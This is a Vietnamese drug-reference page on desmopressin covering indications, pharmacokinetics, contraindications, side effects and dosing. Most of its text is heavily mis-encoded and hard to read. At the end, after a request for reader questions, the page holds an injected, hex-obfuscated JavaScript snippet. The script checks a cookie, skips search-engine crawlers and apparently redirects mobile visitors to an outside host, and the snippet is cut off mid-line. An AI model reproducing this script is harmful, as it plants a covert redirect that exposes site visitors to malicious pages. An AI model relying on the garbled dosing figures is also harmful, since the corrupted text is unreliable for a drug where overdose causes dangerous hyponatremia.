DESMOPRESSIN Cha��ng la�?i nia��u

DESMOPRESSIN Chống lợi niệu

Tracuuthuoctay chia sa?� bA�i via??tA� DESMOPRESSIN Cha��ng la�?i nia��ulA� gA�? giA? thua��c bao nhiA?u? cha�� A�a��nh, cA?ch sa�� da�?ng, tA?c da�?ng pha�? thua��c DESMOPRESSINA�Desmopressin A�?�a�?c dA?ng A�a�? da�� phA?ng hay kia�?m soA?t hia��n t?�a�?ng A�A?i nhia�?u, ua��ng nhia�?u, vA� ma??t n?�a��c A�i kA?m va��i ba��nh A�A?i thA?o nha??t do thia??u vasopressin (hormon cha��ng la�?i nia��u) ca��a thA?y sau tuya??n yA?n (ba��nh A�A?i thA?o nha??t do thA?y sau tuya??n yA?n); A�a��ng tha�?i A�?�a�?c dA?ng A�a�? A�ia�?u tra�� hia��n t?�a�?ng A�A?i nhia�?u vA� ua��ng nhia�?u nha??t tha�?i do cha??n th?�??ng hay pha?�u thua?�t vA?ng tuya??n yA?n. Do hia��u qua?? ca��a nA?, va��i ?�u A�ia�?m da�� dA?ng, tha�?i gian tA?c da�?ng dA�i vA� t?�??ng A�a��i A�t tA?c da�?ng pha�?, desmopressin lA� thua��c A�?�a�?c cha�?n dA?ng trong ba��nh A�A?i thA?o nha??t do trung ?�??ng. A?a�? cha�� A�a��nh cho tra?� em, ng?�a�?i ta ?�a dA?ng desmopressin h??n dA?ng vasopressin tiA?m vA� cA?c thua��c cha��ng la�?i nia��u ua��ng do hay ga?�p tA?c da�?ng khA?ng mong mua��n ca��a cA?c thua��c nA�y a�Y tra?� em. Tra?� em th?�a�?ng A�A?p a��ng ta��t va��i A�ia�?u tra�� ba?�ng desmopressin.Desmopressin khA?ng cA? tA?c da�?ng trong A�ia�?u tra�� A�A?i thA?o nha??t do tha?�n hay tr?�a�?ng ha�?p A�A?i nhia�?u do A�A?i thA?o nha??t tA?m tha?�n, ba��nh tha?�n, ha?? kali huya??t, tA?ng calci huya??t, hoa?�c tr?�a�?ng ha�?p dA?ng demeclocyclin hay lithi.

DESMOPRESSIN Cha��ng la�?i nia��u

TA?n chung qua��c ta??: Desmopressin.

MA? ATC: H01B A02.

Loa??i thua��c: Cha��ng la�?i nia��u (t?�??ng ta�� vasopressin). Cha��ng xua??t huya??t.

GiA? thua��c DESMOPRESSIN: BA�nh lua?�n cua��i bA�i via??t A�a�? A�?�a�?c thA?ng bA?o giA?

Da??ng thua��c vA� hA�m l?�a�?ng

  • ViA?n nA�n 0,1 mg vA� 0,2 mg desmopressin acetat.
  • a�?ng tiA?m 4 microgam desmopressin acetat trong 1 ml dung da��ch natri clorid 0,9%.
  • La�? nha�? gia�?t 2,5 ml cha��a 100 microgam desmopressin acetat trong 1 ml dA?ng qua A�?�a�?ng mA�i. Dung da��ch cha��a cha??t ba??o qua??n clorbutol 0,5%.
  • La�? 5 ml chia lia�?u, cha��a 500 microgam desmopressin acetat cA? b??m phun chia thA�nh 50 lia�?u, ma��i lia�?u 10 microgam cho ma��i la?�n phun. Dung da��ch cha��a cha??t ba??o qua??n clorbutol 0,5%.

D?�a�?c lA? vA� c?? cha?? tA?c da�?ng

  • Desmopressin lA� thua��c ta��ng ha�?p t?�??ng ta�� vasopressin cA? tA?c da�?ng cha��ng la�?i nia��u kA�o dA�i. Thua��c lA�m tA?ng tA?i ha??p thu n?�a��c a�Y tha?�n do tA?ng tA�nh tha??m ta?? bA�o ca��a a��ng gA?p gA?y tA?ng A�a�� tha?�m tha??u n?�a��c tia�?u A�a��ng tha�?i lA�m gia??m bA�i nia��u.
  • Desmopressin cA?n cA? tA?c da�?ng cha��ng xua??t huya??t. Thua��c gA?y tA?ng hoa??t tA�nh ca��a ya??u ta�� A�A?ng mA?u VIII (ya??u ta�� cha��ng ?�a cha??y mA?u) vA� ya??u ta�� Willebrand trong huya??t t?�??ng vA� cA? tha�? cA?n cA? ma��t tA?c da�?ng tra��c tia??p trA?n thA�nh ma??ch. Desmopressin gA?y tA?ng huya??t A?p A�t h??n nhia�?u so va��i vasopressin vA� A�t tA?c da�?ng trA?n c?? tr??n pha�� ta??ng.

D?�a�?c A�a��ng ha�?c

  • Sau khi ua��ng, desmopressin ba�� phA?n ha��y nhia�?u trong a��ng tiA?u hA?a vA� kha?? da�?ng sinh ha�?c cha�� d?�a��i 0,5%, song l?�a�?ng thua��c ha??p thu va?�n A�a�� A�a�? cA? tA?c da�?ng A�ia�?u tra�� khi dA?ng lia�?u cao. Thua��c A�?�a�?c ha??p thu qua niA?m ma??c mA�i va��i kha?? da�?ng sinh ha�?c la��n h??n: 10 – 20%. Desmopressin tiA?m tA�nh ma??ch cA? hoa??t tA�nh cha��ng la�?i nia��u ga??p 10 la?�n so va��i cA?ng lia�?u qua A�?�a�?ng mA�i. Theo dA�i sa�� da�?ng thua��c ba?�ng A�?�a�?ng mA�i a�Y nha�?ng ng?�a�?i ba��nh ba�� ba��nh A�A?i thA?o nha??t do thua�? sau tuya??n yA?n cho tha??y tA?c da�?ng cha��ng la�?i nia��u xua??t hia��n trong vA?ng 15 – 60 phA?t, cao nha??t trong khoa??ng 1 – 5 gia�?, kA�o dA�i A�?�a�?c 5 – 21 gia�? vA� cua��i cA?ng ha??t tA?c da�?ng A�a��t nga��t trong vA?ng 60 – 90 phA?t na�?a.
  • Khi truya�?n tA�nh ma??ch, desmopressin lA�m tA?ng hoa??t tA�nh ca��a ya??u ta�� VIII trong vA?ng 15 – 30 phA?t vA� A�a??t tA?c da�?ng ta��i A�a trong khoa??ng 90 phA?t A�a??n 3 gia�? sau truya�?n, tA?c da�?ng kA�o dA�i 4 – 24 gia�? a�Y nha�?ng ng?�a�?i ba��nh ba�� ba��nh hemophilia A nha?? vA� kA�o dA�i khoa??ng 3 gia�? a�Y nha�?ng ng?�a�?i ba��nh ba�� ba��nh von Willebrand. Sa�� tA?ng hoa??t tA�nh ca��a ya??u ta�� VIII tA?y thua��c vA�o lia�?u, cA? tha�? ta��i ta��i A�a 300 – 400% sau khi truya�?n tA�nh ma??ch lia�?u 0,4 microgam/kg. Hoa??t tA�nh khA?ng nguyA?n liA?n quan A�a??n ya??u ta�� VIII trong huya??t t?�??ng cA�ng A�a??t ta��i A�a trong vA?ng 3 gia�? sau khi truya�?n thua��c.
  • Sa�� phA?n ba�� ca��a desmopressin ch?�a A�?�a�?c xA?c A�a��nh A�a?�y A�a��. Ng?�a�?i ta ch?�a bia??t thua��c cA? qua nhau thai hay khA?ng. Desmopressin A�?�a�?c phA?n ba�� vA�o sa�?a. Sa�� chuya�?n hA?a ca��a thua��c cA?n ch?�a bia??t rA�. KhA?c va��i vasopressin, desmopressin khA?ng ba�� thoA?i giA?ng ba�Yi cA?c aminopeptidase hay cA?c peptidase khA?c ca??t oxytocin vA� vasopressin na��i sinh trong huya??t t?�??ng a�Y cua��i thai ka�?.
  • Sau khi tiA?m tA�nh ma??ch 2 – 3 microgam desmopressin cho nha�?ng ng?�a�?i ba��nh A�A?i thA?o nha??t do thA?y sau tuya??n yA?n, na��ng A�a�� thua��c trong huya??t t?�??ng gia??m xua��ng theo 2 pha va��i trung bA�nh na��a A�a�?i A�a?�u trong huya??t t?�??ng lA� 7,8 phA?t vA� trung bA�nh na��a A�a�?i ka??t thA?c trong huya??t t?�??ng lA� 75,5 phA?t.

Cha�� A�a��nh thua��cA�DESMOPRESSIN

Trong A�A?i nhia�?u vA� ua��ng nhia�?u:

  • Desmopressin A�?�a�?c dA?ng A�a�? da�� phA?ng hay kia�?m soA?t hia��n t?�a�?ng A�A?i nhia�?u, ua��ng nhia�?u, vA� ma??t n?�a��c A�i kA?m va��i ba��nh A�A?i thA?o nha??t do thia??u vasopressin (hormon cha��ng la�?i nia��u) ca��a thA?y sau tuya??n yA?n (ba��nh A�A?i thA?o nha??t do thA?y sau tuya??n yA?n); A�a��ng tha�?i A�?�a�?c dA?ng A�a�? A�ia�?u tra�� hia��n t?�a�?ng A�A?i nhia�?u vA� ua��ng nhia�?u nha??t tha�?i do cha??n th?�??ng hay pha?�u thua?�t vA?ng tuya??n yA?n. Do hia��u qua?? ca��a nA?, va��i ?�u A�ia�?m da�� dA?ng, tha�?i gian tA?c da�?ng dA�i vA� t?�??ng A�a��i A�t tA?c da�?ng pha�?, desmopressin lA� thua��c A�?�a�?c cha�?n dA?ng trong ba��nh A�A?i thA?o nha??t do trung ?�??ng. A?a�? cha�� A�a��nh cho tra?� em, ng?�a�?i ta ?�a dA?ng desmopressin h??n dA?ng vasopressin tiA?m vA� cA?c thua��c cha��ng la�?i nia��u ua��ng do hay ga?�p tA?c da�?ng khA?ng mong mua��n ca��a cA?c thua��c nA�y a�Y tra?� em. Tra?� em th?�a�?ng A�A?p a��ng ta��t va��i A�ia�?u tra�� ba?�ng desmopressin.
  • Desmopressin khA?ng cA? tA?c da�?ng trong A�ia�?u tra�� A�A?i thA?o nha??t do tha?�n hay tr?�a�?ng ha�?p A�A?i nhia�?u do A�A?i thA?o nha??t tA?m tha?�n, ba��nh tha?�n, ha?? kali huya??t, tA?ng calci huya??t, hoa?�c tr?�a�?ng ha�?p dA?ng demeclocyclin hay lithi.

Cha��ng A�A?i da?�m ban A�A?m tiA?n phA?t

  • DA?ng desmopressin ba?�ng A�?�a�?ng mA�i A�a�? A�ia�?u tra�� cha��ng A�A?i da?�m tiA?n phA?t. CA? tha�? dA?ng riA?ng hoa?�c ka??t ha�?p va��i bia��n phA?p A�ia�?u cha��nh hA�nh vi vA�/ hoa?�c cA?c bia��n phA?p khA?c khA?ng dA?ng thua��c, thua��c ta�? ra cA? hia��u la��c trong ma��t sa�� tr?�a�?ng ha�?p khA?ng tra�� va��i cA?c cA?ch cha�?a thA?ng th?�a�?ng (imipramin, bA?o tha��c A�A?i da?�m).
  • Ba��nh hemophilia A vA� ba��nh von Willebrand typ I
  • DA?ng desmopressin tiA?m cho nha�?ng ng?�a�?i ba��nh ba�� hemophilia A nha?? hoa?�c ba��nh von Willebrand kinh A�ia�?n ta�� nha?? A�a??n trung bA�nh (typ I) cA? na��ng A�a�� ya??u ta�� VIII la��n h??n 5%. DA?ng thua��c 15 – 30 phA?t tr?�a��c khi pha?�u thua?�t cA? tA?c da�?ng duy trA� ca?�m mA?u. Thua��c th?�a�?ng lA�m nga��ng cha??y mA?u a�Y nha�?ng ng?�a�?i cA? trA�n mA?u kha��p ta�� nhiA?n hoa?�c do cha??n th?�??ng, a�� ta�? mA?u trong c?? hoa?�c cha??y mA?u niA?m ma??c.

Cha��ng cha�� A�a��nh

  • Nha�?ng ng?�a�?i quA? ma?�n va��i desmopressin acetat hay ba??t ka�? ma��t thA�nh pha?�n nA�o ca��a cha?? pha?�m. KhA?ng dA?ng thua��c trong cA?c tr?�a�?ng ha�?p suy tim vA� nha�?ng tr?�a�?ng ha�?p khA?c ca?�n A�ia�?u tra�� ba?�ng cA?c thua��c la�?i nia��u. VA� cA? nguy c?? gA?y ka??t dA�nh vA� gia??m tia�?u ca?�u, khA?ng nA?n dA?ng thua��c a�Y ng?�a�?i ma??c ba��nh von Willebrand typ II B hay typ tia�?u ca?�u (ba��nh von Willebrand gia??).
  • KhA?ng cha�� A�a��nh desmopressin cho nha�?ng ng?�a�?i ba��nh cA? na��ng A�a�� ya??u ta�� VIII ba?�ng hoa?�c nha�? h??n 5% (tra�� ma��t sa�� tr?�a�?ng ha�?p cA? sa�� theo dA�i ca?�n tha?�n) hoa?�c cho nha�?ng ng?�a�?i ba��nh cA? khA?ng tha�? khA?ng ya??u ta�� VIII.
  • Thua��c khA?ng A�?�a�?c cha�� A�a��nh A�a�? A�ia�?u tra�� ba��nh von Willebrand kinh A�ia�?n na?�ng (typ III) vA� khi cA? da??ng phA?n ta�� ba??t th?�a�?ng ca��a khA?ng nguyA?n von Willebrand. a�z nha�?ng ng?�a�?i ma??c ba��nh von Willebrand typ II B, desmopressin cA? tha�? gA?y ka??t dA�nh tia�?u ca?�u vA� gia??m tia�?u ca?�u, vA� va?�yA�khA?ng nA?n dA?ng.
  • Tha?�n tra�?ng
  • Tr?�a��c khi kA? A�??n dA?ng desmopressin, ca?�n loa??i tra�� cA?c tr?�a�?ng ha�?p cha?�n A�oA?n ua��ng nhia�?u do tA?m tha?�n vA� nghia��n r?�a�?u. KhA?ng nA?n dA?ng cho ng?�a�?i ba��nh trA?n 65 tua��i vA� nha�?ng ng?�a�?i ba�� tA?ng huya??t A?p hay ba�� ba��nh tim ma??ch.
  • TrA?nh dA?ng quA? nhia�?u da��ch trong nha�?ng tr?�a�?ng ha�?p A�A? xA?c A�a��nh lA� cA? ma??t cA?n ba?�ng va�? n?�a��c vA�/ hoa?�c cha??t A�ia��n gia??i cA�ng nh?� a�Y nha�?ng ng?�a�?i cA? nguy c?? tA?ng A?p la��c na��i sa�?. Ca?�n tha?�n tra�?ng A�a��i va��i ng?�a�?i cA? cha��c nA?ng tha?�n ba�� suy gia??m vA�/hoa?�c ba�� ma??c ba��nh tim ma??ch hay ba��nh x?? nang ta�?y.
  • NA?n bA?o tr?�a��c cho nha�?ng ng?�a�?i ba��nh A�ang A�ia�?u tra�� ba?�ng desmopressin ca?�n nga��ng thua��c khi A�ang nA?n vA�/hoa?�c ba�� a��a cha??y cho ta��i khi cA?n ba?�ng n?�a��c tra�Y la??i bA�nh th?�a�?ng. A?a��nh ka�? ca?�n A�o huya??t A?p vA� tha�? tra�?ng A�a�? theo dA�i kha?? nA?ng gia�? quA? nhia�?u n?�a��c. KhA?ng nA?n A�p ng?�a�?i ba��nh ua��ng, mA� A�a�? ha�? ua��ng va��a A�a�� l?�a�?ng n?�a��c cho ha??t khA?t. CA? tha�? da�� dA�ng theo dA�i hia��n t?�a�?ng tA�ch lA�y n?�a��c ba?�ng cA?ch theo dA�i cA?n na?�ng ca��a ng?�a�?i ba��nh hoa?�c xA?c A�a��nh l?�a�?ng natri hay A�a�� tha?�m tha??u ca��a huya??t t?�??ng. Na??u tha??y tA?ng da?�n tra�?ng l?�a�?ng c?? tha�?, gia??m l?�a�?ng natri huya??t thanh xua��ng d?�a��i 130 mmol/lA�t hay A�a�� tha?�m tha??u huya??t t?�??ng xua��ng d?�a��i 270 mOsm/kg, ca?�n pha??i gia??m ngay ma��c n?�a��c A�?�a vA�o vA� nga��ng ngay desmopressin.
  • NA?n tha?�n tra�?ng khi lA�m xA�t nghia��m va�? kha?? nA?ng cA? A�a?�c ca��a tha?�n. A?a��i va��i tra?� em d?�a��i 1 tua��i, cha�� nA?n tia??n hA�nh xA�t nghia��m nA�y trong A�ia�?u kia��n A�?�a�?c giA?m sA?t ca?�n tha?�n ta??i ba��nh via��n.

Tha�?i ka�? mang thai

Ch?�a cA? cA?ng trA�nh nghiA?n ca��u kia�?m tra a�Y ng?�a�?i. TrA?n lA?m sA�ng, khi dA?ng desmopressin a�Y ng?�a�?i mang thai khA?ng tha??y cA? nha�?ng pha??n a��ng khA?ng mong mua��n trA?n bA�o thai. NghiA?n ca��u va�? sinh sa??n a�Y chua��t ca��ng vA� tha�? khi dA?ng desmopressin a�Y lia�?u ga??p 12,5 la?�n lia�?u gA?y ca?�m mA?u thA?ng th?�a�?ng a�Y ng?�a�?i hoa?�c ga??p 125 la?�n lia�?u cha��ng la�?i nia��u thA?ng th?�a�?ng a�Y ng?�a�?i A�a�?u khA?ng phA?t hia��n tha??y da??u hia��u cA? ha??i A�a��i va��i bA�o thai. Ma?�c dA? thua��c khA?ng cA? tA?c da�?ng co bA?p ta�� cung a�Y lia�?u cha��ng la�?i nia��u thA?ng th?�a�?ng song ng?�a�?i tha?�y thua��c va?�n pha??i cA?n nha??c la�?i ha??i gia�?a kha?? nA?ng A�ia�?u tra�� va��i nha�?ng nguy c?? cA? tha�? xa??y ra.

Tha�?i ka�? cho con bA?

Ch?�a cA? nha�?ng nghiA?n ca��u A�?�a�?c kia�?m A�a��nh a�Y ng?�a�?i A�ang cho con bA?. Ng?�a�?i ta ch?�a bia??t thua��c cA? bA�i tia??t ra sa�?a hay khA?ng, song va?�n nA?n dA?ng tha?�n tra�?ng desmopressin khi A�ang cho con bA?.

TA?c da�?ng khA?ng mong mua��n (ADR)

A?t ga?�p vA� hia??m ga?�p, ADR <1/1000

  • Tim ma??ch (khi tiA?m tA�nh ma??ch): Huya??t A?p cA? tha�? ha?? khi tiA?m tA�nh ma??ch va��i ta��c A�a�� nhanh, ba��c ha�?a a�Y ma?�t kA?m tA?ng nha��p tim cA? bA? tra��; cha��ngA�huya??t kha��i (huya??t kha��i ma??ch nA?o ca??p, nha��i mA?u c?? tim ca??p); tA?ng huya??t A�A?p; A�au A�a?�u ta??m tha�?i.
  • Tha?�n kinh trung ?�??ng: Co gia?�t sau khi phun vA�o mA�i hay tiA?m tA�nh ma??ch.
  • TiA?u hA?a: Bua��n nA?n, co ca��ng ba�?ng nha??, ra��i loa??n tiA?u hA?a.
  • Bia�?u hia��n khA?c: Na��i ma?�n A�a�? ta��ng vA?ng, s?�ng vA� A�au nh?� ba�?ng a�Y va�� trA� tiA?m; A�au A?m ha��. ViA?m ka??t ma??c, phA? ma??t, cha??y n?�a��c ma??t (ra��i loa??n tuya??n la��), chA?ng ma?�t, suy nh?�a�?c, a��n la??nh, sung huya??t mA�i, A�au la�� mA�i, viA?m mA�i, cha??y mA?u cam, A�au ha�?ng, ho, nhia��m khua?�n hA? ha??p trA?n sau khi b??m thua��c vA�o mA�i.
  • Gia??m natri huya??t hay nhia��m A�a��c n?�a��c (hA?n mA?, lA? la?�n, l?? m??, gia??m bA�i nia��u, co gia?�t, lA?n cA?n nhanh).

H?�a��ng da?�n cA?ch xa�� trA� ADR

Nha�?ng tA?c da�?ng khA?ng mong mua��n khi dA?ng desmopressin th?�a�?ng ma??t A�i khi gia??m lia�?u hay gia??m sa�� la?�n A�ia�?u tra�� nh?�ng ra??t A�t khi ca?�n thia??t pha??i nga��ng ha??n thua��c.

Lia�?u l?�a�?ng vA� cA?ch dA?ng

Dung da��ch desmopressin dA?ng qua A�?�a�?ng mA�i.

A?A?i thA?o nha??t do trung ?�??ng:

  • Lia�?u th?�a�?ng dA?ng a�Y ng?�a�?i la��n: Lia�?u kha�Yi A�a?�u 10 microgam, dA?ng bua��i ta��i tr?�a��c khi A�i nga��. CA? tha�? tA?ng thA?m cA?c lia�?u 2,5 microgam vA�o ban A�A?m cho ta��i khi nga�� yA?n gia??c. Na??u l?�a�?ng n?�a��c tia�?u va?�n nhia�?u, cA? tha�? cho thA?m ma��t lia�?u bua��i sA?ng 10 microgam vA� ba�� sung thA?m lia�?u A�a�? thu A�?�a�?c tA?c da�?ng mong mua��n. A?a�? duy trA�, cho dA?ng 10 – 40 microgam/ngA�y, lia�?u duy nha??t hay chia thA�nh 2 hoa?�c 3 lia�?u trong ma��t ngA�y. Th?�a�?ng 1/4 A�a??n 1/3 sa�� ng?�a�?i ba��nh dA?ng lia�?u duy nha??t trong ma��tA�ngA�y A�a�? duy trA� lA� thA�ch ha�?p nh?�ng cA�ng cA? ma��t sa�� ng?�a�?i ba��nh ca?�n pha??i dA?ng 3 lia�?u trong ma��t ngA�y.
  • Lia�?u th?�a�?ng dA?ng a�Y tra?� em: Ch?�a xA?c A�a��nh A�?�a�?c lia�?u dA?ng cho tra?� d?�a��i 3 thA?ng tua��i.
  • Tra?� ta�� 3 thA?ng A�a??n 12 tua��i: Cho lia�?u kha�Yi A�a?�u 5 microgam vA�o bua��i ta��i tr?�a��c khi A�i nga��, cA? tha�? tA?ng thA?m cA?c lia�?u 2,5 microgam vA�o ban A�A?m cho ta��i khi nga�� yA?n gia??c. Na??u l?�a�?ng n?�a��c tia�?u va?�n nhia�?u, cA? tha�? cho thA?m ma��t lia�?u bua��i sA?ng 5 microgam vA� A�ia�?u cha��nh A�a�? cA? A�A?p a��ng mong mua��n. A?a�? duy trA�, cho dA?ng 2 – 4 microgam/kg/ngA�y hoa?�c 5 – 30 microgam/ngA�y va��i lia�?u duy nha??t hay chia thA�nh 2 lia�?u trong ma��t ngA�y.

A?A?i da?�m ban A�A?m

  • Lia�?u th?�a�?ng dA?ng cho ng?�a�?i la��n vA� tra?� em trA?n 6 tua��i: Kha�Yi A�a?�u b??m vA�o ma��i la�� mA�i 10 microgam vA�o bua��i ta��i tr?�a��c khi A�i nga�� (ta��ng lia�?u trong ma��t ngA�y lA� 20 microgam). Lia�?u duy trA� tA?y theo A�A?p a��ng ca��a ng?�a�?i ba��nh, cA? tha�? thay A�a��i ta�� 10 – 40 microgam trong ma��t ngA�y.
  • Tra?� em d?�a��i 6 tua��i: ch?�a xA?c A�a��nh A�?�a�?c lia�?u dA?ng.

Desmopressin acetat tiA?m.

  • Cha��ng la�?i nia��u: Ng?�a�?i la��n, tiA?m ba??p hoa?�c tA�nh ma??ch (tra��c tia??p) hoa?�c d?�a��i da 2 – 4 microgam/ngA�y, th?�a�?ng chia thA�nh 2 lia�?u tiA?m vA�o bua��i sA?ng vA� bua��i ta��i.
  • Cha��ng xua??t huya??t: Ng?�a�?i la��n vA� tra?� em 3 thA?ng tua��i tra�Y lA?n, cA?n na?�ng trA?n 10 kg, truya�?n tA�nh ma??ch 0,3 microgam/kg pha loA?ng trong 50 ml dung da��ch tiA?m natri clorid 0,9%, truya�?n cha?�m 15 – 30 phA?t; lia�?u cA? tha�? nha??c la??i.
  • a�z tra?� em 3 thA?ng tua��i tra�Y lA?n, cA?n na?�ng 10 kg hoa?�c A�t h??n: Truya�?n tA�nh ma??ch 0,3 microgam/kg pha loA?ng trong 10 ml dung da��ch tiA?m natri clorid 0,9% vA� truya�?n cha?�m 15 – 30phA?t; lia�?u cA? tha�? nha??c la??i tA?y theo ka??t qua?? xA�t nghia��m vA� tA�nh tra??ng ca��a ng?�a�?i ba��nh.
  • KhA?ng dA?ng cho tra?� em d?�a��i 3 thA?ng tua��i.

Desmopressin acetat viA?n.

  • A?A?i thA?o nha??t do trung ?�??ng: a�z ng?�a�?i la��n vA� tra?� em, lia�?u kha�Yi A�a?�u ua��ng 0,1 mg, 3 la?�n/ngA�y. Ta��ng lia�?u bA�nh th?�a�?ng 0,2 – 1,2 mg/ngA�y. Lia�?u duy trA� lA� 0,1 – 0,2 mg, 3 la?�n/ngA�y.
  • A?A?i da?�m ban A�A?m: Ng?�a�?i la��n vA� tra?� em trA?n 5 tua��i, ua��ng 0,2 mg vA�o bua��i ta��i tr?�a��c khi A�i nga��, cha�� khi ca?�n ma��i tA?ng lia�?u ta��i 0,4 mg. Ca?�n A�A?nh giA? la??i nhu ca?�u tia??p ta�?c A�ia�?u tra�� sau ba thA?ng ba?�ng cA?ch khA?ng dA?ng desmopressin trong ma��t tha�?i gian A�t nha??t ma��t tua?�n.

T?�??ng tA?c thua��c

  • A?t cA? t?�??ng tA?c thua��c A�a?�c bia��t. Ca?�n tha?�n tra�?ng khi dA?ng desmopressin a�Y nha�?ng ng?�a�?i ba��nh A�ang A�ia�?u tra�� ba?�ng lithi, epinephrin lia�?u cao, demeclocyclin, heparin hay r?�a�?u vA� nha�?ng cha??t nA�y cA? tha�? lA�m gia??m tA?c da�?ng cha��ng la�?i nia��u ca��a desmopressin.
  • CA?c thua��c nh?� clopropamid, urA? hay fludrocortison cA? tha�? lA�m tA?ng A�A?p a��ng cha��ng la�?i nia��u. Na??u dA?ng clofibrat A�a��ng tha�?i va��i desmopressin sa?? gA?y tA?ng c?�a�?ng vA� kA�o dA�i tA?c da�?ng cha��ng la�?i nia��u ca��a desmopressin. CA?c cha??t cA? tA?c da�?ng gia??i phA?ng ra hormon cha��ng la�?i nia��u nh?� thua��c cha��ng tra?�m ca??m 3 vA?ng, clorpromazin vA� carbamazepin cA? tha�? gA?y tA?c da�?ng hia��p A�a��ng cha��ng la�?i nia��u vA� cA? nguy c?? gia�? n?�a��c trong c?? tha�?. Indomethacin cA? tha�? gA?y tA?ng ma��c A�a�� A�A?p a��ng va��i desmopressin nh?�ng khA?ng kA�o dA�i.

A?a�� a��n A�a��nh vA� ba??o qua??n

  • Dung da��ch desmopressin acetat dA?ng A�?�a�?ng mA�i cA? sa?�n trA?n tha�� tr?�a�?ng A�?�a�?c ba??o qua??n a�Y 2 – 8oC, trA?nh lA�m A�A?ng la??nh vA� trA?nh A?nh sA?ng. Ha??n dA?ng 1 nA?m ka�? ta�� ngA�y sa??n xua??t. Ma?�c dA? dung da��ch dA?ng A�?�a�?ng mA�i luA?n ca?�n A�?�a�?c A�a�? la??nh, song thua��c cA�ng ba�?n va�?ng a�Y nhia��t A�a�� phA?ng (22oC) trong 3 tua?�n, trong la�? kA�n vA� tia��t trA?ng.
  • Desmopressin acetat tiA?m A�?�a�?c ba??o qua??n a�Y 2 – 8oC, trA?nh A�a�? A�A?ng la??nh.
  • Desmopressin acetat viA?n A�?�a�?c ba??o qua??n a�Y nhia��t A�a�� phA?ng trong khoa??ng 15 – 30oC, trA?nh tia??p xA?c va��i nhia��t A�a�� hay A?nh sA?ng.

QuA? lia�?u vA� xa�� trA�

DA?ng quA? lia�?u desmopressin cA? tha�? da?�n A�a??n gia??m natri huya??t vA� co gia?�t. Thua��c lA�m tA?ng nguy c?? ba�� gia�? n?�a��c. Na??u natri huya??t gia??m, nga��ng dA?ng desmopressin ngay vA� ha??n cha?? via��c nha?�p n?�a��c cho ta��i khi natri huya??t thanh tra�Y va�? bA�nh th?�a�?ng. Na??u ba�� gia�? n?�a��c na?�ng, cho dA?ng furosemid.

ThA?ng tin qui cha??

Thua��c A�a��c ba??ng B.

DESMOPRESSIN

Ngua��n d?�a�?c th?� qua��c gia

Tham kha??o hA�nh a??nh cA?c dA?ng thua��cA�DESMOPRESSIN Cha��ng la�?i nia��u

A� A�DESMOPRESSIN Cha��ng la�?i nia��u DESMOPRESSIN Cha��ng la�?i nia��u DESMOPRESSIN Cha��ng la�?i nia��u

Vui lA?ng A�a?�t cA?u ha�?i va�? bA�i via??t DESMOPRESSIN Cha��ng la�?i nia��u, chA?ng tA?i sa?? tra?? la�?i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 